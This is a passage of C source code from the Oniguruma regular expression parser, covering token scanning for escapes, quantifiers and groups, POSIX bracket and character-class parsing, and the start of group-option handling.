tok->u.backref.num = 1; tok->u.backref.ref1 = num; tok->u.backref.by_name = 0; #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level = 0; #endif break; } skip_backref: if (c == '8' || c == '9') { /* normal char */ p = prev; PINC; break; } p = prev; /* fall through */ case '0': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { prev = p; num = scan_unsigned_octal_number(&p, end, (c == '0' ? 2:3), enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } else if (c != '0') { PINC; } break; #ifdef USE_NAMED_GROUP case 'k': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_K_NAMED_BACKREF)) { PFETCH(c); if (c == '<' || c == '\'') { UChar* name_end; int* backs; int back_num; prev = p; #ifdef USE_BACKREF_WITH_LEVEL name_end = NULL_UCHARP; /* no need. escape gcc warning. */ r = fetch_name_with_level((OnigCodePoint )c, &p, end, &name_end, env, &back_num, &tok->u.backref.level); if (r == 1) tok->u.backref.exist_level = 1; else tok->u.backref.exist_level = 0; #else r = fetch_name(&p, end, &name_end, env, &back_num, 1); #endif if (r < 0) return r; if (back_num != 0) { if (back_num < 0) { back_num = BACKREF_REL_TO_ABS(back_num, env); if (back_num <= 0) return ONIGERR_INVALID_BACKREF; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (back_num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[back_num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; tok->u.backref.by_name = 0; tok->u.backref.num = 1; tok->u.backref.ref1 = back_num; } else { num = onig_name_to_group_numbers(env->reg, prev, name_end, &backs); if (num <= 0) { onig_scan_env_set_error_string(env, ONIGERR_UNDEFINED_NAME_REFERENCE, prev, name_end); return ONIGERR_UNDEFINED_NAME_REFERENCE; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { int i; for (i = 0; i < num; i++) { if (backs[i] > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[backs[i]])) return ONIGERR_INVALID_BACKREF; } } tok->type = TK_BACKREF; tok->u.backref.by_name = 1; if (num == 1) { tok->u.backref.num = 1; tok->u.backref.ref1 = backs[0]; } else { tok->u.backref.num = num; tok->u.backref.refs = backs; } } } else PUNFETCH; } break; #endif #ifdef USE_SUBEXP_CALL case 'g': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_G_SUBEXP_CALL)) { PFETCH(c); if (c == '<' || c == '\'') { int gnum; UChar* name_end; prev = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &gnum, 1); if (r < 0) return r; tok->type = TK_CALL; tok->u.call.name = prev; tok->u.call.name_end = name_end; tok->u.call.gnum = gnum; } else PUNFETCH; } break; #endif case 'Q': if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_Q_QUOTE)) { tok->type = TK_QUOTE_OPEN; } break; case 'p': case 'P': if (!PEND && PPEEK_IS('{') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c); if (c == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; default: { OnigCodePoint c2; PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; /* set_raw: */ if (tok->u.c != c2) { tok->type = TK_CODE_POINT; tok->u.code = c2; } else { /* string */ p = tok->backp + enclen(enc, tok->backp); } } break; } } else { tok->u.c = c; tok->escaped = 0; #ifdef USE_VARIABLE_META_CHARS if ((c != ONIG_INEFFECTIVE_META_CHAR) && IS_SYNTAX_OP(syn, ONIG_SYN_OP_VARIABLE_META_CHARACTERS)) { if (c == MC_ANYCHAR(syn)) goto any_char; else if (c == MC_ANYTIME(syn)) goto anytime; else if (c == MC_ZERO_OR_ONE_TIME(syn)) goto zero_or_one_time; else if (c == MC_ONE_OR_MORE_TIME(syn)) goto one_or_more_time; else if (c == MC_ANYCHAR_ANYTIME(syn)) { tok->type = TK_ANYCHAR_ANYTIME; goto out; } } #endif switch (c) { case '.': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_DOT_ANYCHAR)) break; #ifdef USE_VARIABLE_META_CHARS any_char: #endif tok->type = TK_ANYCHAR; break; case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ASTERISK_ZERO_INF)) break; #ifdef USE_VARIABLE_META_CHARS anytime: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_PLUS_ONE_INF)) break; #ifdef USE_VARIABLE_META_CHARS one_or_more_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_ZERO_ONE)) break; #ifdef USE_VARIABLE_META_CHARS zero_or_one_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; goto greedy_check; break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (!PEND && PPEEK_IS('#')) { PFETCH(c); while (1) { if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); if (c == MC_ESC(syn)) { if (!PEND) PFETCH(c); } else { if (c == ')') break; } } goto start; } PUNFETCH; } if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case '^': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_BEGIN_BUF : ANCHOR_BEGIN_LINE); break; case '$': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_SEMI_END_BUF : ANCHOR_END_LINE); break; case '[': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACKET_CC)) break; tok->type = TK_CC_OPEN; break; case ']': if (*src > env->pattern) /* /].../ is allowed. */ CLOSE_BRACKET_WITHOUT_ESC_WARN(env, (UChar* )"]"); break; case '#': if (IS_EXTEND(env->option)) { while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_NEWLINE(enc, c)) break; } goto start; break; } break; case ' ': case '\t': case '\n': case '\r': case '\f': if (IS_EXTEND(env->option)) goto start; break; default: /* string */ break; } } #ifdef USE_VARIABLE_META_CHARS out: #endif *src = p; return tok->type; } static int add_ctype_to_cc_by_range(CClassNode* cc, int ctype ARG_UNUSED, int not, OnigEncoding enc ARG_UNUSED, OnigCodePoint sb_out, const OnigCodePoint mbr[]) { int i, r; OnigCodePoint j; int n = ONIGENC_CODE_RANGE_NUM(mbr); if (not == 0) { for (i = 0; i < n; i++) { for (j = ONIGENC_CODE_RANGE_FROM(mbr, i); j <= ONIGENC_CODE_RANGE_TO(mbr, i); j++) { if (j >= sb_out) { if (j > ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), j, ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; i++; } goto sb_end; } BITSET_SET_BIT(cc->bs, j); } } sb_end: for ( ; i < n; i++) { r = add_code_range_to_buf(&(cc->mbuf), ONIGENC_CODE_RANGE_FROM(mbr, i), ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; } } else { OnigCodePoint prev = 0; for (i = 0; i < n; i++) { for (j = prev; j < ONIGENC_CODE_RANGE_FROM(mbr, i); j++) { if (j >= sb_out) { goto sb_end2; } BITSET_SET_BIT(cc->bs, j); } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } for (j = prev; j < sb_out; j++) { BITSET_SET_BIT(cc->bs, j); } sb_end2: prev = sb_out; for (i = 0; i < n; i++) { if (prev < ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), prev, ONIGENC_CODE_RANGE_FROM(mbr, i) - 1); if (r != 0) return r; } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } if (prev < 0x7fffffff) { r = add_code_range_to_buf(&(cc->mbuf), prev, 0x7fffffff); if (r != 0) return r; } } return 0; } static int add_ctype_to_cc(CClassNode* cc, int ctype, int not, ScanEnv* env) { int c, r; const OnigCodePoint *ranges; OnigCodePoint sb_out; OnigEncoding enc = env->enc; r = ONIGENC_GET_CTYPE_CODE_RANGE(enc, ctype, &sb_out, &ranges); if (r == 0) { return add_ctype_to_cc_by_range(cc, ctype, not, env->enc, sb_out, ranges); } else if (r != ONIG_NO_SUPPORT_CONFIG) { return r; } r = 0; switch (ctype) { case ONIGENC_CTYPE_ALPHA: case ONIGENC_CTYPE_BLANK: case ONIGENC_CTYPE_CNTRL: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_LOWER: case ONIGENC_CTYPE_PUNCT: case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_UPPER: case ONIGENC_CTYPE_XDIGIT: case ONIGENC_CTYPE_ASCII: case ONIGENC_CTYPE_ALNUM: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } break; case ONIGENC_CTYPE_GRAPH: case ONIGENC_CTYPE_PRINT: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } break; case ONIGENC_CTYPE_WORD: if (not == 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (IS_CODE_SB_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if ((ONIGENC_CODE_TO_MBCLEN(enc, c) > 0) /* check invalid code point */ && ! ONIGENC_IS_CODE_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } } break; default: return ONIGERR_PARSER_BUG; break; } return r; } static int parse_posix_bracket(CClassNode* cc, UChar** src, UChar* end, ScanEnv* env) { #define POSIX_BRACKET_CHECK_LIMIT_LENGTH 20 #define POSIX_BRACKET_NAME_MIN_LEN 4 static PosixBracketEntryType PBS[] = { { (UChar* )"alnum", ONIGENC_CTYPE_ALNUM, 5 }, { (UChar* )"alpha", ONIGENC_CTYPE_ALPHA, 5 }, { (UChar* )"blank", ONIGENC_CTYPE_BLANK, 5 }, { (UChar* )"cntrl", ONIGENC_CTYPE_CNTRL, 5 }, { (UChar* )"digit", ONIGENC_CTYPE_DIGIT, 5 }, { (UChar* )"graph", ONIGENC_CTYPE_GRAPH, 5 }, { (UChar* )"lower", ONIGENC_CTYPE_LOWER, 5 }, { (UChar* )"print", ONIGENC_CTYPE_PRINT, 5 }, { (UChar* )"punct", ONIGENC_CTYPE_PUNCT, 5 }, { (UChar* )"space", ONIGENC_CTYPE_SPACE, 5 }, { (UChar* )"upper", ONIGENC_CTYPE_UPPER, 5 }, { (UChar* )"xdigit", ONIGENC_CTYPE_XDIGIT, 6 }, { (UChar* )"ascii", ONIGENC_CTYPE_ASCII, 5 }, { (UChar* )"word", ONIGENC_CTYPE_WORD, 4 }, { (UChar* )NULL, -1, 0 } }; PosixBracketEntryType *pb; int not, i, r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *p = *src; if (PPEEK_IS('^')) { PINC_S; not = 1; } else not = 0; if (onigenc_strlen(enc, p, end) < POSIX_BRACKET_NAME_MIN_LEN + 3) goto not_posix_bracket; for (pb = PBS; IS_NOT_NULL(pb->name); pb++) { if (onigenc_with_ascii_strncmp(enc, p, end, pb->name, pb->len) == 0) { p = (UChar* )onigenc_step(enc, p, end, pb->len); if (onigenc_with_ascii_strncmp(enc, p, end, (UChar* )":]", 2) != 0) return ONIGERR_INVALID_POSIX_BRACKET_TYPE; r = add_ctype_to_cc(cc, pb->ctype, not, env); if (r != 0) return r; PINC_S; PINC_S; *src = p; return 0; } } not_posix_bracket: c = 0; i = 0; while (!PEND && ((c = PPEEK) != ':') && c != ']') { PINC_S; if (++i > POSIX_BRACKET_CHECK_LIMIT_LENGTH) break; } if (c == ':' && ! PEND) { PINC_S; if (! PEND) { PFETCH_S(c); if (c == ']') return ONIGERR_INVALID_POSIX_BRACKET_TYPE; } } return 1; /* 1: is not POSIX bracket, but no error. */ } static int fetch_char_property_to_ctype(UChar** src, UChar* end, ScanEnv* env) { int r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *prev, *start, *p = *src; r = 0; start = prev = p; while (!PEND) { prev = p; PFETCH_S(c); if (c == '}') { r = ONIGENC_PROPERTY_NAME_TO_CTYPE(enc, start, prev); if (r < 0) break; *src = p; return r; } else if (c == '(' || c == ')' || c == '{' || c == '|') { r = ONIGERR_INVALID_CHAR_PROPERTY_NAME; break; } } onig_scan_env_set_error_string(env, r, *src, prev); return r; } static int parse_char_property(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, ctype; CClassNode* cc; ctype = fetch_char_property_to_ctype(src, end, env); if (ctype < 0) return ctype; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); r = add_ctype_to_cc(cc, ctype, 0, env); if (r != 0) return r; if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); return 0; } enum CCSTATE { CCS_VALUE, CCS_RANGE, CCS_COMPLETE, CCS_START }; enum CCVALTYPE { CCV_SB, CCV_CODE_POINT, CCV_CLASS }; static int next_state_class(CClassNode* cc, OnigCodePoint* vs, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; if (*state == CCS_RANGE) return ONIGERR_CHAR_CLASS_VALUE_AT_END_OF_RANGE; if (*state == CCS_VALUE && *type != CCV_CLASS) { if (*type == CCV_SB) BITSET_SET_BIT(cc->bs, (int )(*vs)); else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } } *state = CCS_VALUE; *type = CCV_CLASS; return 0; } static int next_state_val(CClassNode* cc, OnigCodePoint *vs, OnigCodePoint v, int* vs_israw, int v_israw, enum CCVALTYPE intype, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; switch (*state) { case CCS_VALUE: if (*type == CCV_SB) { BITSET_SET_BIT(cc->bs, (int )(*vs)); } else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } break; case CCS_RANGE: if (intype == *type) { if (intype == CCV_SB) { if (*vs > 0xff || v > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )v); } else { r = add_code_range(&(cc->mbuf), env, *vs, v); if (r < 0) return r; } } else { #if 0 if (intype == CCV_CODE_POINT && *type == CCV_SB) { #endif if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )(v < 0xff ? v : 0xff)); r = add_code_range(&(cc->mbuf), env, (OnigCodePoint )*vs, v); if (r < 0) return r; #if 0 } else return ONIGERR_MISMATCH_CODE_LENGTH_IN_CLASS_RANGE; #endif } ccs_range_end: *state = CCS_COMPLETE; break; case CCS_COMPLETE: case CCS_START: *state = CCS_VALUE; break; default: break; } *vs_israw = v_israw; *vs = v; *type = intype; return 0; } static int code_exist_check(OnigCodePoint c, UChar* from, UChar* end, int ignore_escaped, ScanEnv* env) { int in_esc; OnigCodePoint code; OnigEncoding enc = env->enc; UChar* p = from; in_esc = 0; while (! PEND) { if (ignore_escaped && in_esc) { in_esc = 0; } else { PFETCH_S(code); if (code == c) return 1; if (code == MC_ESC(env->syntax)) in_esc = 1; } } return 0; } static int parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, neg, len, fetched, and_start; OnigCodePoint v, vs; UChar *p; Node* node; CClassNode *cc, *prev_cc; CClassNode work_cc; enum CCSTATE state; enum CCVALTYPE val_type, in_type; int val_israw, in_israw; *np = NULL_NODE; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; prev_cc = (CClassNode* )NULL; r = fetch_token_in_cc(tok, src, end, env); if (r == TK_CHAR && tok->u.c == '^' && tok->escaped == 0) { neg = 1; r = fetch_token_in_cc(tok, src, end, env); } else { neg = 0; } if (r < 0) return r; if (r == TK_CC_CLOSE) { if (! code_exist_check((OnigCodePoint )']', *src, env->pattern_end, 1, env)) return ONIGERR_EMPTY_CHAR_CLASS; CC_ESC_WARN(env, (UChar* )"]"); r = tok->type = TK_CHAR; /* allow []...] */ } *np = node = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(node); cc = NCCLASS(node); and_start = 0; state = CCS_START; p = *src; while (r != TK_CC_CLOSE) { fetched = 0; switch (r) { case TK_CHAR: any_char_in: len = ONIGENC_CODE_TO_MBCLEN(env->enc, tok->u.c); if (len > 1) { in_type = CCV_CODE_POINT; } else if (len < 0) { r = len; goto err; } else { /* sb_char: */ in_type = CCV_SB; } v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry2; break; case TK_RAW_BYTE: /* tok->base != 0 : octal or hexadec. */ if (! ONIGENC_IS_SINGLEBYTE(env->enc) && tok->base != 0) { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; UChar* bufe = buf + ONIGENC_CODE_TO_MBC_MAXLEN; UChar* psave = p; int i, base = tok->base; buf[0] = tok->u.c; for (i = 1; i < ONIGENC_MBC_MAXLEN(env->enc); i++) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; if (r != TK_RAW_BYTE || tok->base != base) { fetched = 1; break; } buf[i] = tok->u.c; } if (i < ONIGENC_MBC_MINLEN(env->enc)) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } len = enclen(env->enc, buf); if (i < len) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } else if (i > len) { /* fetch back */ p = psave; for (i = 1; i < len; i++) { r = fetch_token_in_cc(tok, &p, end, env); } fetched = 0; } if (i == 1) { v = (OnigCodePoint )buf[0]; goto raw_single; } else { v = ONIGENC_MBC_TO_CODE(env->enc, buf, bufe); in_type = CCV_CODE_POINT; } } else { v = (OnigCodePoint )tok->u.c; raw_single: in_type = CCV_SB; } in_israw = 1; goto val_entry2; break; case TK_CODE_POINT: v = tok->u.code; in_israw = 1; val_entry: len = ONIGENC_CODE_TO_MBCLEN(env->enc, v); if (len < 0) { r = len; goto err; } in_type = (len == 1 ? CCV_SB : CCV_CODE_POINT); val_entry2: r = next_state_val(cc, &vs, v, &val_israw, in_israw, in_type, &val_type, &state, env); if (r != 0) goto err; break; case TK_POSIX_BRACKET_OPEN: r = parse_posix_bracket(cc, &p, end, env); if (r < 0) goto err; if (r == 1) { /* is not POSIX bracket */ CC_ESC_WARN(env, (UChar* )"["); p = tok->backp; v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry; } goto next_class; break; case TK_CHAR_TYPE: r = add_ctype_to_cc(cc, tok->u.prop.ctype, tok->u.prop.not, env); if (r != 0) return r; next_class: r = next_state_class(cc, &vs, &val_type, &state, env); if (r != 0) goto err; break; case TK_CHAR_PROPERTY: { int ctype; ctype = fetch_char_property_to_ctype(&p, end, env); if (ctype < 0) return ctype; r = add_ctype_to_cc(cc, ctype, tok->u.prop.not, env); if (r != 0) return r; goto next_class; } break; case TK_CC_RANGE: if (state == CCS_VALUE) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) { /* allow [x-] */ range_end_val: v = (OnigCodePoint )'-'; in_israw = 0; goto val_entry; } else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } state = CCS_RANGE; } else if (state == CCS_START) { /* [-xa] is allowed */ v = (OnigCodePoint )tok->u.c; in_israw = 0; r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; /* [--x] or [a&&-x] is warned. */ if (r == TK_CC_RANGE || and_start != 0) CC_ESC_WARN(env, (UChar* )"-"); goto val_entry; } else if (state == CCS_RANGE) { CC_ESC_WARN(env, (UChar* )"-"); goto any_char_in; /* [!--x] is allowed */ } else { /* CCS_COMPLETE */ r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) goto range_end_val; /* allow [a-b-] */ else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_DOUBLE_RANGE_OP_IN_CC)) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; /* [0-9-a] is allowed as [0-9\-a] */ } r = ONIGERR_UNMATCHED_RANGE_SPECIFIER_IN_CHAR_CLASS; goto err; } break; case TK_CC_CC_OPEN: /* [ */ { Node *anode; CClassNode* acc; r = parse_char_class(&anode, tok, &p, end, env); if (r != 0) { onig_node_free(anode); goto cc_open_err; } acc = NCCLASS(anode); r = or_cclass(cc, acc, env->enc); onig_node_free(anode); cc_open_err: if (r != 0) goto err; } break; case TK_CC_AND: /* && */ { if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } /* initialize local variables */ and_start = 1; state = CCS_START; if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); } else { prev_cc = cc; cc = &work_cc; } initialize_cclass(cc); } break; case TK_EOT: r = ONIGERR_PREMATURE_END_OF_CHAR_CLASS; goto err; break; default: r = ONIGERR_PARSER_BUG; goto err; break; } if (fetched) r = tok->type; else { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; } } if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); cc = prev_cc; } if (neg != 0) NCCLASS_SET_NOT(cc); else NCCLASS_CLEAR_NOT(cc); if (IS_NCCLASS_NOT(cc) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_NOT_NEWLINE_IN_NEGATIVE_CC)) { int is_empty; is_empty = (IS_NULL(cc->mbuf) ? 1 : 0); if (is_empty != 0) BITSET_IS_EMPTY(cc->bs, is_empty); if (is_empty == 0) { #define NEWLINE_CODE 0x0a if (ONIGENC_IS_CODE_NEWLINE(env->enc, NEWLINE_CODE)) { if (ONIGENC_CODE_TO_MBCLEN(env->enc, NEWLINE_CODE) == 1) BITSET_SET_BIT(cc->bs, NEWLINE_CODE); else add_code_range(&(cc->mbuf), env, NEWLINE_CODE, NEWLINE_CODE); } } } *src = p; env->parse_depth--; return 0; err: if (cc != NCCLASS(*np)) bbuf_free(cc->mbuf); return r; } static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env); static int parse_enclose(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, num; Node *target; OnigOptionType option; OnigCodePoint c; OnigEncoding enc = env->enc; #ifdef USE_NAMED_GROUP int list_capture; #endif UChar* p = *src; PFETCH_READY; *np = NULL; if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; option = env->option; if (PPEEK_IS('?') && IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); switch (c) { case ':': /* (?:...) grouping only */ group: r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(np, tok, term, &p, end, env); if (r < 0) return r; *src = p; return 1; /* group */ break; case '=': *np = onig_node_new_anchor(ANCHOR_PREC_READ); break; case '!': /* preceding read */ *np = onig_node_new_anchor(ANCHOR_PREC_READ_NOT); break; case '>': /* (?>...) stop backtrack */ *np = node_new_enclose(ENCLOSE_STOP_BACKTRACK); break; #ifdef USE_NAMED_GROUP case '\'': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { goto named_group1; } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #endif case '<': /* look behind (?<=...), (?<!...) */ if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; PFETCH(c); if (c == '=') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND); else if (c == '!') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND_NOT); #ifdef USE_NAMED_GROUP else { if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { UChar *name; UChar *name_end; PUNFETCH; c = '<'; named_group1: list_capture = 0; named_group2: name = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &num, 0); if (r < 0) return r; num = scan_env_add_mem_entry(env); if (num < 0) return num; if (list_capture != 0 && num >= (int )BIT_STATUS_BITS_NUM) return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; r = name_add(env->reg, name, name_end, num, env); if (r != 0) return r; *np = node_new_enclose_memory(env->option, 1); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->regnum = num; if (list_capture != 0) BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); env->num_named++; } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } } #else else { return ONIGERR_UNDEFINED_GROUP_OPTION; } #endif break; case '@': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ATMARK_CAPTURE_HISTORY)) { #ifdef USE_NAMED_GROUP if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { PFETCH(c); if (c == '<' || c == '\'') { list_capture = 1; goto named_group2; /* (?@<name>...) */ } PUNFETCH; } #endif *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) { return num; } else if (num >= (int )BIT_STATUS_BITS_NUM) { return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; } NENCLOSE(*np)->regnum = num; BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } break; #ifdef USE_POSIXLINE_OPTION case 'p': #endif case '-': case 'i': case 'm': case 's': case 'x': { int neg = 0; while (1) { switch (c) { case ':': case ')': break; case '-': neg = 1; break; case 'x': ONOFF(option, ONIG_OPTION_EXTEND, neg); break; case 'i': ONOFF(option, ONIG_OPTION_IGNORECASE, neg); break; case 's': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; case 'm': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_SINGLELINE, (neg == 0 ? 1 : 0)); } else if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_RUBY)) { ONOFF(option, 